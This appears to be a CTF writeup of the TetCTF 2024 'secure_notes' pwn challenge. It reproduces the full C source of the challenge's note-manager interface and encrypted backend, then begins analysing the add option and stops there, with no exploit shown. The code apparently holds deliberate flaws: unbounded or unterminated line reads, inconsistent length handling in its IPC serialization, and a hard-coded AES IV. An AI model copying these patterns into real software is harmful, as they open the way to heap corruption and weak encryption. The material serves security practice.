# TetCTF 2024
Recently I have played this Vietnamese CTF contests, which is highly accredited by the community of hackers. In my opinion, those challenges are at a medium-hard level, which aroused my curiosity a lot. Regardless of solving no challenges in time, I still made writeups of some pwn challenges which was a reminder for future contests.

## Pwn03-flag1
[Attachment](https://github.com/Jalynk2004/CTFWriteups/raw/main/2024/TetCTF/secure_notes.7z)
Both `flag1` and `flag2` used the same provided attachments.
**Interface**
```c
/*
* Secure Note Manager
* Author: peternguyen93
*/
#include "ipc.h"
#include "dbg.h"
#include "protocol.h"
#include "utlist.h"
#include <openssl/sha.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/capability.h>
#include <sys/types.h>
struct IPC ipc;
#define MAX_CONTENT_LEN 0x1000
#define MAX_NOTE 0x100
Note_t notes;
uint32_t notes_size;
int Note_cmp(Note_t note1, Note_t note2)
{
int res = strncmp(note1->note_title, note2->note_title, sizeof(note1->note_title) - 1) == 0 && \
strncmp(note2->note_author, note1->note_author, sizeof(note1->note_author) - 1) == 0;
return !res;
}
Note_t Note_init(
char *title,
char *author,
uint32_t content_len,
uint32_t encrypt)
{
Note_t new_note = (Note_t)malloc(sizeof(struct Note));
bzero(new_note, sizeof(struct Note));
strncpy(new_note->note_title, title, sizeof(new_note->note_title) - 1);
strncpy(new_note->note_author, author, sizeof(new_note->note_author) - 1);
new_note->note_content_len = content_len;
new_note->note_is_encrypt = encrypt;
return new_note;
}
void Note_destroy(Note_t note)
{
assert_fail_f(note, "note could not be null\n");
if(note->note_content){
free(note->note_content);
note->note_content = NULL;
}
bzero((void *)note, sizeof(struct Note));
free(note);
}
void read_line(char *buf, size_t max_size)
{
uint32_t i = 0;
while(i < max_size){
char c = fgetc(stdin);
if(c == '\n'){
buf[i] = '\0';
break;
}
buf[i++] = c;
}
}
int read_int()
{
char buf[32] = {0};
read_line(buf, sizeof(buf));
return atoi(buf);
}
void add_new_note()
{
char title[32];
char author[32];
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
int is_encrypt;
uint32_t content_len;
if(notes_size > MAX_NOTE){
printf("Unable to add new note\n");
return;
}
printf("Title: ");
read_line(title, sizeof(title) - 1);
printf("Author: ");
read_line(author, sizeof(author) - 1);
do{
printf("Wanna encrypt this notes? (y/n) ");
read_line(buf, sizeof(buf));
}while(buf[0] != 'y' && buf[0] != 'n');
is_encrypt = buf[0] == 'y' ? 1 : 0;
Note_t new_note = Note_init(title, author, 0, is_encrypt);
if(is_encrypt){
printf("What is your passwd? ");
bzero(buf, sizeof(buf));
read_line(buf, sizeof(buf) - 1);
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
}
printf("How many bytes for content? ");
content_len = read_int();
if(content_len > MAX_CONTENT_LEN){
content_len = MAX_CONTENT_LEN;
}
printf("Content: \n");
new_note->note_content = malloc(content_len);
new_note->note_content_len = content_len;
fgets(new_note->note_content, content_len, stdin);
if(is_encrypt){
// sync this note to backend
size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
msg_hdr_t send_msg = malloc(send_size);
send_msg->action = COMMIT;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(new_note->common), sizeof(struct NoteCommon));
serialize_p->note_content_len = sizeof(passwd_hash) + content_len;
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
memcpy(&(serialize_p->content[sizeof(passwd_hash)]), new_note->note_content, new_note->note_content_len);
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
uint64_t status = 0;
int rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to sync this note to server :(, destroying this note\n");
Note_destroy(new_note);
return;
}
free(new_note->note_content);
new_note->note_content = NULL;
new_note->note_synced = 1;
}
DL_APPEND(notes, new_note);
notes_size++;
puts("Added");
}
void delete_note(void)
{
struct Note s_note;
Note_t tmp;
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
bzero(&s_note, sizeof(struct Note));
printf("Title: ");
read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
printf("Author: ");
read_line(s_note.note_author, sizeof(s_note.note_author) - 1);
DL_SEARCH(notes, tmp, &s_note, Note_cmp);
if(!tmp){
printf("Unable to find your note\n");
return;
}
size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize);
msg_hdr_t send_msg;
// sync with server
if(tmp->note_is_encrypt || tmp->note_synced){
if(tmp->note_is_encrypt){
send_size += SHA256_DIGEST_LENGTH;
printf("Your password? ");
bzero(buf, sizeof(buf));
read_line(buf, sizeof(buf) - 1);
// sha256
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
}
send_msg = malloc(send_size);
send_msg->action = DELETE;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
serialize_p->note_content_len = 0;
if(tmp->note_is_encrypt){
serialize_p->note_content_len = sizeof(passwd_hash);
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
}
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
uint64_t status = 0;
int rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);
if(IS_ERR(rc) || (Status)status != OK){
printf("Unable to delete note\n");
return;
}
}
DL_DELETE(notes, tmp);
notes_size--;
printf("Deleted\n");
}
void list_note()
{
Note_t tnote;
DL_FOREACH(notes, tnote){
printf("Title: %s\n", tnote->note_title);
printf("Author: %s\n", tnote->note_author);
if(tnote->note_is_encrypt){
printf("Content: (Encrypted)\n");
} else {
printf("Content: %s\n", tnote->note_content);
}
}
}
void edit_note()
{
struct Note s_note;
Note_t tmp;
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
msg_hdr_t send_msg;
size_t send_size = 0;
NoteSerialize_t serialize_p;
uint64_t status;
int rc;
bzero(&s_note, sizeof(struct Note));
printf("Title: ");
read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
printf("Author: ");
read_line(s_note.note_author, sizeof(s_note.note_author) - 1);
DL_SEARCH(notes, tmp, &s_note, Note_cmp);
if(!tmp){
printf("Unable to find your note\n");
return;
}
if(tmp->note_is_encrypt){
printf("Password ?");
read_line(buf, sizeof(buf) - 1);
// sha256
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
// sync with server
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash);
send_msg = malloc(send_size);
send_msg->action = AUTH;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
serialize_p->note_content_len = sizeof(passwd_hash);
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);
if(IS_ERR(rc) || status != OK){
printf("Authenticate was failed\n");
return;
}
printf("Access granted\n");
}
printf("New content len?");
uint32_t content_len = read_int();
content_len = content_len < MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN;
printf("New content:\n");
if(tmp->note_is_encrypt){
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
// sync with server
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
send_msg = malloc(send_size);
send_msg->action = COMMIT;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
serialize_p->note_content_len += sizeof(passwd_hash);
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
memcpy(serialize_p->content + sizeof(passwd_hash), tmp->note_content, tmp->note_content_len);
free(tmp->note_content);
tmp->note_content = NULL;
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to update your content\n");
return;
}
tmp->note_synced = 1;
} else {
if(tmp->note_content){
free(tmp->note_content);
}
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
tmp->note_synced = 0;
}
}
void read_note()
{
struct Note s_note;
Note_t tmp;
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
msg_hdr_t send_msg;
msg_hdr_t recv_msg;
size_t recv_size = 0;
size_t send_size = 0;
NoteSerialize_t serialize_p;
Status status;
int rc;
bzero(&s_note, sizeof(struct Note));
printf("Title: ");
read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
printf("Author: ");
read_line(s_note.note_author, sizeof(s_note.note_author) - 1);
DL_SEARCH(notes, tmp, &s_note, Note_cmp);
if(!tmp){
printf("Unable to find your note\n");
return;
}
if(tmp->note_is_encrypt){
printf("Password? ");
read_line(buf, sizeof(buf) - 1);
// sha1 here
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
// read from backend
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH;
send_msg = malloc(send_size);
send_msg->action = FETCH;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, (void **)&recv_msg, &recv_size, 60);
if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
printf("Unable to read content\n");
return;
}
serialize_p = (NoteSerialize_t)recv_msg->msg_content;
printf("Content: %s\n", serialize_p->content);
} else {
printf("Content: %s\n", tmp->note_content);
}
}
int note_sync(int flag)
{
msg_hdr_t msg_hdr = NULL;
uint32_t send_size, recv_size;
struct msg_hdr inline_msg_hdr;
Note_t cur_note, next_note, next_note2;
NoteSerialize_t serialize_p;
uint64_t status;
uint32_t read_count = 0;
int rc;
if(flag == 1){
send_size = sizeof(struct msg_hdr);
next_note = notes;
next_note2 = notes;
// commit un-synced note to backend
DL_FOREACH(next_note, cur_note){
if(cur_note->note_synced)
continue;
send_size += sizeof(struct NoteSerialize) + cur_note->note_content_len;
if(send_size > SHM_MEM_MAX_SIZE){
next_note = cur_note;
break;
}
}
if(send_size == sizeof(struct msg_hdr)){
printf("All notes was synced\n");
return 0;
}
msg_hdr = malloc(send_size);
msg_hdr->action = COMMIT;
msg_hdr->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)msg_hdr->msg_content;
DL_FOREACH(next_note2, cur_note) {
if(cur_note->note_synced)
continue;
memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon));
memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len);
serialize_p = (NoteSerialize_t)((size_t)serialize_p + sizeof(struct NoteSerialize) + cur_note->note_content_len);
cur_note->note_synced = 1;
}
send_data(&ipc, RECEIVER, msg_hdr, send_size);
free(msg_hdr);
rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to commit data to backend\n");
return 1;
}
} else {
// fetch from backend
inline_msg_hdr.action = FETCH;
inline_msg_hdr.msg_size = 0xFFFFFFFF; // fetch all except encrypted note content
send_data(&ipc, RECEIVER, &inline_msg_hdr, sizeof(inline_msg_hdr));
int truncated = 0;
do{
truncated = 0;
rc = recv_data_timeout(&ipc, SENDER, (void **)&msg_hdr, (uint64_t *)&recv_size, 60);
if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
if((Status)recv_size == OK){
return 0;
} else {
printf("Unable to fetch data from backend\n");
return 1;
}
}
if(msg_hdr->action == TRUNCATED)
truncated = 1;
Note_t search_note;
// parse from backend
while(read_count < msg_hdr->msg_size){
serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
Note_t new_note = Note_init(serialize_p->note_title,
serialize_p->note_author,
serialize_p->note_content_len,
serialize_p->note_is_encrypt);
read_count += sizeof(struct NoteSerialize);
Note_t p_note;
DL_SEARCH(notes, search_note, new_note, Note_cmp);
p_note = search_note;
if(!search_note){
p_note = new_note;
}
// update new content
if(!p_note->note_is_encrypt){
memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
read_count += new_note->note_content_len;
}
if(p_note->note_is_encrypt) {
p_note->note_synced = 1;
if(p_note->note_content){
free(p_note->note_content);
p_note->note_content = NULL;
}
}
if(!search_note){
DL_APPEND(notes, new_note);
} else {
Note_destroy(new_note);
}
}
if(truncated){
// signal backend send next data
send_data(&ipc, RECEIVER, NULL, OK);
}
} while(truncated);
}
return 0;
}
int note_main()
{
int rc;
uint64_t status = Empty;
char buf[64];
DBG("Waiting for backend is up....\n");
rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); // wait for 1 min
if(!IS_OK(rc)){
ERROR("Unable to receive signal from backend process\n");
return -1;
}
if(status != OK){
ERROR("receive error status from backend\n");
return -1;
}
// tell backend we are ok to work now
status = OK;
rc = send_data(&ipc, RECEIVER, NULL, OK);
int op;
int exit = 0;
//sleep(1);
while(!exit){
printf("==== Secure Note Manager ====\n");
printf("1. Add New Note\n");
printf("2. List Note\n");
printf("3. Read Note\n");
printf("4. Edit Note\n");
printf("5. Delete Note\n");
printf("6. Sync Notes\n");
printf("7. Exit\n");
printf("Choice: ");
op = read_int();
switch(op){
case 1:
add_new_note();
break;
case 2:
list_note();
break;
case 3:
read_note();
break;
case 4:
edit_note();
break;
case 5:
delete_note();
break;
case 6:
do{
printf("You you want to [s]ync or [c]ommit note? (s/c)");
bzero(buf, sizeof(buf));
read_line(buf, sizeof(buf) - 1);
}while(buf[0] != 's' && buf[0] != 'c');
if(buf[0] == 'c'){
note_sync(1);
}else {
note_sync(0);
}
break;
case 7:
note_sync(1);
exit=1;
break;
default:
printf("Invalid input\n");
break;
}
}
send_data(&ipc, RECEIVER, NULL, Exit);
return 0;
}
int main(int argc, char **argv)
{
pid_t pid;
char ev_fds_str[64] = {0};
if(argc < 2){
ERROR("Missing backend binary path\n");
return 1;
}
IPC_create(&ipc, 1, 0, 1);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
serialize_ev_fd(&ipc, ev_fds_str, sizeof(ev_fds_str));
const char *child_argv[32] = {
argv[1],
ev_fds_str,
NULL
};
pid = fork();
if(pid == 0){
// child Process
if(setgid(1001) == -1){
DBG("Unable to drop privilege setgid\n");
}
cap_t proc = cap_get_proc();
cap_clear(proc);
if(cap_set_proc(proc)){
DBG("cap_set_proc was failed\n");
}
execv(argv[1], child_argv);
} else if(pid > 0){
// parent process
note_main();
int waitStatus;
waitpid(pid, &waitStatus, 0);
} else {
perror("fork");
}
return 0;
}
```
**Backend**
```c
/*
* This process store secret data submited from user
* Author: peternguyen
*/
#include "ipc.h"
#include "dbg.h"
#include "protocol.h"
#include "utlist.h"
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/sha.h>
#include <openssl/evp.h>
struct IPC ipc;
#define MAX_CONTENT_LEN 0x1000
#define MAX_NOTE 0x100
NoteBackend_t notes;
uint32_t notes_size = 0;
unsigned char IV[] = "\x0A\x91\x72\x71\x6A\xE6\x42\x84\x09\x88\x5B\x8B\x82\x9C\xCB\x05";
typedef enum CryptMode {
Encrypt = 1,
Decrypt = 0
} CryptMode;
static inline size_t roundup(size_t value, size_t base)
{
if(value % base == 0)
return value;
return (value / base) * base + base;
}
int Note_Crypt(const char *key,
const char *inbuf, const size_t inbuf_size,
char **out_buf, size_t *out_size, CryptMode mode)
{
EVP_CIPHER *cipher = EVP_aes_256_cbc();//_CTX ctx;
EVP_CIPHER_CTX *ctx;
size_t block_size, out_buf_size = 0;
int outlen = 0;
*out_size = 0;
//assert_fail_f(*out_buf, "NULL out_buf pointer\n");
if(!(ctx = EVP_CIPHER_CTX_new())){
return 0;
}
if(!EVP_CipherInit_ex(ctx, cipher, NULL, (const unsigned char *)key, (const unsigned char *)IV, mode)){
return 0;
}
block_size = EVP_CIPHER_CTX_get_block_size(ctx);
out_buf_size = roundup(inbuf_size, block_size);
*out_buf = malloc(out_buf_size);
if(!EVP_CipherUpdate(ctx, (unsigned char *)*out_buf, &outlen, (unsigned char*)inbuf, inbuf_size)){
free(*out_buf);
*out_buf = NULL;
return 0;
}
if(!EVP_CipherFinal(ctx, (unsigned char *)((*out_buf) + outlen), &outlen)){
free(*out_buf);
*out_buf = NULL;
return 0;
}
*out_size = out_buf_size;
EVP_CIPHER_CTX_free(ctx);
return 1;
}
int NoteBackend_cmp(NoteBackend_t note1, NoteBackend_t note2)
{
int res = strncmp(note1->note_title, note2->note_title, sizeof(note1->note_title) - 1) == 0 && \
strncmp(note2->note_author, note1->note_author, sizeof(note1->note_author) - 1) == 0;
return !res;
}
NoteBackend_t NoteBackend_init(
char *title,
char *author,
uint32_t content_len,
uint32_t encrypt)
{
NoteBackend_t new_note = (NoteBackend_t)malloc(sizeof(struct NoteBackend));
bzero(new_note, sizeof(struct NoteBackend));
strncpy(new_note->note_title, title, sizeof(new_note->note_title) - 1);
strncpy(new_note->note_author, author, sizeof(new_note->note_author) - 1);
new_note->note_content_len = content_len;
new_note->note_is_encrypt = encrypt;
return new_note;
}
void NoteBackend_destroy(NoteBackend_t note)
{
assert_fail_f(note, "note could not be null\n");
if(note->note_content){
free(note->note_content);
note->note_content = NULL;
}
bzero((void *)note, sizeof(struct NoteBackend));
free(note);
}
void backend_listener()
{
uint64_t status = 0;
uint64_t msg_size = 0;
msg_hdr_t msg;
int rc;
uint32_t action;
status = OK;
rc = send_data(&ipc, SENDER, NULL, status);
if(IS_ERR(rc)){
perror("send_data error");
return;
}
DBG("Waiting for interface send signal...\n");
status = 0;
rc = recv_data_timeout(&ipc, RECEIVER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc)){
perror("recv_data_timeout");
return;
}
assert_fail_f((Status)status == OK, "[backend] Receive error from SENDER %d\n", (Status)status);
DBG("[backend] interface process is up, let waiting for request\n");
while(1){
// handle request from interface
msg_size = 0;
rc = recv_data_timeout(&ipc, RECEIVER, (void **)&msg, &msg_size, 60 * 4);
DBG("[Backend] rc: %d\n", rc);
if(IS_ERR(rc) || IS_TIMEOUT(rc)){
continue;
}
if(msg_size == Exit){
DBG("[Backend] receive signal exit\n");
break;
}
DBG("[Backend] Receive %d data from RECEIVER\n", msg_size);
if(msg_size < sizeof(struct msg_hdr)){
DBG("[Backend] msg_size is too small\n");
continue;
}
action = msg->action;
uint32_t msg_size = msg->msg_size;
uint32_t parsed_count = 0;
NoteBackend_t tmp1, etmp;
struct NoteBackend inline_tmp;
int parsed_error = OK;
NoteSerialize_t serialize_note = NULL;
msg_hdr_t reply_msg = NULL;
uint32_t reply_size = 0;
uint32_t written_count = 0;
char *encrypt_buf = NULL;
size_t encrypt_size = 0;
switch(action){
case COMMIT: {
if(msg_size < sizeof(struct NoteSerialize)){
DBG("[backend] msg content size is too small\n");
send_data(&ipc, SENDER, NULL, Error);
break;
}
parsed_count = 0;
while(parsed_count + sizeof(struct NoteSerialize) < msg_size){
serialize_note = (NoteSerialize_t)((size_t)msg->msg_content + parsed_count);
if(serialize_note->note_content_len + parsed_count + sizeof(struct NoteSerialize) > msg_size){
DBG("[backend] serialize_note->note_content_len is too big: %d\n", serialize_note->note_content_len);
parsed_error = Error;
break;
}
if(serialize_note->note_is_encrypt && serialize_note->note_content_len < SHA256_DIGEST_LENGTH){
DBG("[backend] encrypted note note_content_len is too small\n");
parsed_error = Error;
break;
}
NoteBackend_t new_note = NoteBackend_init(serialize_note->note_title,
serialize_note->note_author,
serialize_note->note_content_len,
serialize_note->note_is_encrypt);
uint32_t content_len = serialize_note->note_content_len;
if(serialize_note->note_is_encrypt){
content_len = serialize_note->note_content_len - SHA256_DIGEST_LENGTH;
}
DL_SEARCH(notes, tmp1, new_note, NoteBackend_cmp);
parsed_error = OK;
if(tmp1){
// update content only;
DBG("[backend] COMMIT: update content for %s - %s\n", tmp1->note_title, tmp1->note_author);
if(tmp1->note_is_encrypt && memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0){
// access granted
DBG("[backend] COMMIT: access granted for encrypted note - update new content\n");
Note_Crypt((const char *)tmp1->passwd,
(const char *)&(serialize_note->content[SHA256_DIGEST_LENGTH]),
(const size_t)content_len,
&encrypt_buf,
&encrypt_size,
Encrypt);
if(tmp1->note_content){
free(tmp1->note_content);
}
tmp1->note_content = encrypt_buf;
tmp1->note_content_len = encrypt_size;
} else if(!tmp1->note_is_encrypt){
DBG("[backend] COMMIT: update new content_len: %d\n", content_len);
if(tmp1->note_content){
free(tmp1->note_content);
}
tmp1->note_content = malloc(content_len);
tmp1->note_content_len = content_len;
memcpy(tmp1->note_content, serialize_note->content, serialize_note->note_content_len);
}
NoteBackend_destroy(new_note);
} else {
if(notes_size + 1 > MAX_NOTE){
send_data(&ipc, SENDER, NULL, Error);
break;
}
if(new_note->note_is_encrypt){
memcpy(new_note->passwd, serialize_note->content, SHA256_DIGEST_LENGTH);
}
if(new_note->note_is_encrypt){
// aes encrypt content
Note_Crypt((const char *)new_note->passwd,
(const char *)serialize_note->content + SHA256_DIGEST_LENGTH,
(const size_t)content_len,
&(new_note->note_content),
(size_t *)&(new_note->note_content_len),
Encrypt);
} else {
new_note->note_content = malloc(content_len);
memcpy(new_note->note_content, serialize_note->content, content_len);
}
DBG("[backend] Addded new_note %s(%s) - encrypt: %d\n",
new_note->note_title,
new_note->note_author, new_note->note_is_encrypt);
DL_APPEND(notes, new_note);
notes_size++;
}
parsed_count += sizeof(struct NoteSerialize) + serialize_note->note_content_len;
}
DBG("parsed_error: 0x%x\n", parsed_error);
send_data(&ipc, SENDER, NULL, parsed_error);
break;
}
case DELETE: {
parsed_error = Error;
if(msg_size >= sizeof(struct NoteSerialize)){
tmp1 = NULL;
serialize_note = (NoteSerialize_t)msg->msg_content;
uint32_t content_len = serialize_note->note_content_len;
etmp = NoteBackend_init(serialize_note->note_title,
serialize_note->note_author,
serialize_note->note_content_len,
serialize_note->note_is_encrypt);
DL_SEARCH(notes, tmp1, etmp, NoteBackend_cmp);
if(tmp1){
DBG("[backend] DELETE: found delete note: %s(%s) - encrypt: %d\n",
tmp1->note_title, tmp1->note_author, tmp1->note_is_encrypt);
// found note
if((tmp1->note_is_encrypt &&
memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0) ||
!tmp1->note_is_encrypt){
// verify password before destroy
goto delete_note;
} else if(!tmp1->note_is_encrypt) {
delete_note:
parsed_error = OK;
DL_DELETE(notes, tmp1);
NoteBackend_destroy(tmp1);
notes_size--;
DBG("[backend] DELETE: successfully delete this note\n");
}
} else {
DBG("[backend] DELETE: unable to find note: %s(%s)\n", tmp1->note_title, tmp1->note_author);
}
NoteBackend_destroy(etmp);
} else {
DBG("[backend] DELETE: msg_content_len is too small %d - %d\n", msg_size, sizeof(struct NoteSerialize));
}
send_data(&ipc, SENDER, NULL, parsed_error);
break;
}
case AUTH: {
parsed_error = Error;
if(msg_size >= sizeof(struct NoteSerialize)){
tmp1 = NULL;
serialize_note = (NoteSerialize_t)msg->msg_content;
if(serialize_note->note_is_encrypt && serialize_note->note_content_len == SHA256_DIGEST_LENGTH) {
etmp = NoteBackend_init(serialize_note->note_title,
serialize_note->note_author,
serialize_note->note_content_len,
serialize_note->note_is_encrypt);
DL_SEARCH(notes, tmp1, etmp, NoteBackend_cmp);
NoteBackend_destroy(etmp);
DBG("[backend] Authenticate with note: %s - %s\n", tmp1->note_title, tmp1->note_author);
if(tmp1 && tmp1->note_is_encrypt && memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0){
parsed_error = OK;
DBG("[backend] Access granted\n");
}
} else {
DBG("[backend] AUTH messge conent len is too small: %d\n", serialize_note->note_content_len);
}
} else {
DBG("[backend] AUTH message content is too small: %d\n", msg_size);
}
send_data(&ipc, SENDER, NULL, parsed_error);
break;
}
case FETCH: {
if(msg_size != 0xFFFFFFFF){
DBG("[backend] Fetch encrypt note\n");
//fetch single encrypted note
if(msg_size < sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH){
DBG("[backend] FETCH - msg content size is too small: %d\n", msg_size);
send_data(&ipc, SENDER, NULL, Error);
break;
}
serialize_note = (NoteSerialize_t)msg->msg_content;
memcpy(&(inline_tmp.common), &(serialize_note->common), sizeof(struct NoteCommon));
DL_SEARCH(notes, tmp1, &inline_tmp, NoteBackend_cmp);
if(!tmp1){
DBG("[backend] Unable to find note %s - %s\n", inline_tmp.note_title, inline_tmp.note_author);
send_data(&ipc, SENDER, NULL, Error);
break;
}
if(!tmp1->note_is_encrypt){
DBG("[backend] This note was not encrypted\n");
send_data(&ipc, SENDER, NULL, Error);
break;
}
if(memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH)){
DBG("[backend] Password incorrect\n");
send_data(&ipc, SENDER, NULL, Error);
break;
}
// aes decrypt here
char *decrypt_buffer = NULL;
size_t decrypt_len = 0;
Note_Crypt((const char *)tmp1->passwd, (const char *)tmp1->note_content,
(const size_t)tmp1->note_content_len,
&decrypt_buffer, (size_t *)&decrypt_len,
Decrypt);
// everything is ok
// send it back
reply_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + decrypt_len;
reply_msg = malloc(reply_size);
reply_msg->msg_size = reply_size - sizeof(struct msg_hdr);
serialize_note = (NoteSerialize_t)reply_msg->msg_content;
memcpy(&(serialize_note->common), &(tmp1->common), sizeof(struct NoteCommon));
serialize_note->note_content_len = decrypt_len;
memcpy(serialize_note->content, decrypt_buffer, decrypt_len);
free(decrypt_buffer);
send_data(&ipc, SENDER, reply_msg, reply_size);
free(reply_msg);
break;
}
DBG("[backend] FETCH all notes except encrypted notes\n");
NoteSerialize_t serialize_p = NULL;
NoteBackend_t cur_note = notes;
NoteBackend_t tmp_note2 = NULL;
int truncated = 0;
uint32_t tmp_size = 0;
// fetch all
do {
truncated = 0;
reply_size = sizeof(struct msg_hdr);
DL_FOREACH_SAFE(cur_note, tmp1, etmp){
tmp_size = sizeof(struct NoteSerialize);
if(!tmp1->note_is_encrypt){
tmp_size += tmp1->note_content_len;
}
if(reply_size + tmp_size > SHM_MEM_MAX_SIZE){
DBG("[backend] reply_size(%d) is larger than SHM_MEM_MAX_SIZE, enable truncated mode\n", reply_size + tmp_size);
truncated = 1;
tmp_note2 = tmp1;
break;
}
reply_size += tmp_size;
}
if(reply_size == sizeof(struct msg_hdr)){
DBG("[backend] nodes is empty\n");
// notes is empty just return OK
send_data(&ipc, SENDER, NULL, OK);
break;
}
DBG("[backend] FETCH: msg truncated: %d\n", truncated);
reply_msg = malloc(reply_size);
reply_msg->action = truncated ? TRUNCATED : NONE;
reply_msg->msg_size = reply_size - sizeof(struct msg_hdr);
written_count = 0;
DL_FOREACH_SAFE(cur_note, tmp1, etmp){
serialize_p = (NoteSerialize_t)((size_t)reply_msg->msg_content + written_count);
memcpy(&(serialize_p->common), &(tmp1->common), sizeof(struct NoteCommon));
written_count+= sizeof(struct NoteSerialize);
DBG("[backend] FETCH: serialize note %s(%s)\n", serialize_p->note_title, serialize_p->note_author);
if(!tmp1->note_is_encrypt){
written_count += tmp1->note_content_len;
memcpy(serialize_p->content, tmp1->note_content, tmp1->note_content_len);
}
}
send_data(&ipc, SENDER, reply_msg, reply_size);
free(reply_msg);
if(truncated){
uint64_t status = 0;
rc = recv_data_timeout(&ipc, RECEIVER, NULL, &status, 60);
if(IS_ERR(rc) || (Status)status != OK){
DBG("[backend] Send truncated message error\n");
break;
}
if(tmp_note2){
cur_note = tmp_note2;
}
}
}while(truncated);
break;
}
default:
DBG("[Backend] Unsupported action %d\n", action);
break;
}
}
}
int main(int argc, char **argv)
{
if(argc < 2){
ERROR("Usage %s <EVFD_String>\n", argv[0]);
return 1;
}
char *ipc_env = argv[1];
#ifdef DEBUG
int uid = getuid();
int gid = getgid();
DBG("[backend] uid = %d - gid = %d\n", uid, gid);
#endif
if(!ipc_env){
printf("ipc_env is NULL\n");
return 1;
}
notes = NULL;
//assert_fail_f(ipc_env != NULL, "Unable to get IPC_ENV environment variable");
IPC_create(&ipc, 0, EFD_NONBLOCK, 0);
parse_ev_fds(&ipc, ipc_env);
backend_listener();
return 0;
}
```
To get `flag1`, exploit `interface`
Basically, both are `heap notes` challenge, with familiar `add`, `list`, `read`, `edit`, `delete`, and a new option `sync`.
**Add option**
```c
void add_new_note()
{
char title[32];
char author[32];
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
int is_encrypt;
uint32_t content_len;
if(notes_size > MAX_NOTE){
printf("Unable to add new note\n");
return;
}
printf("Title: ");
read_line(title, sizeof(title) - 1);
printf("Author: ");
read_line(author, sizeof(author) - 1);
do{
printf("Wanna encrypt this notes? (y/n) ");
read_line(buf, sizeof(buf));
}while(buf[0] != 'y' && buf[0] != 'n');
is_encrypt = buf[0] == 'y' ? 1 : 0;
